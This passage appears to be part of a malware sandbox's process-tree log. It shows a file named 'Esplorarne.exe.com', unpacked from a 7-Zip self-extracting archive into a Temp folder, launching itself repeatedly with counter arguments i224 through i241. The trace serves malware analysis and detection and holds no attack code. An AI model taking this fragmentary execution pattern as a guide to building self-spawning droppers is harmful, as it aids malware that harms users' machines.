C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i224⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i225⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i226⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i227⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i228⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i229⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i230⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i231⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i232⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i233⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i234⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i235⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i236⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i237⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i238⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i239⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i240⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i241⤵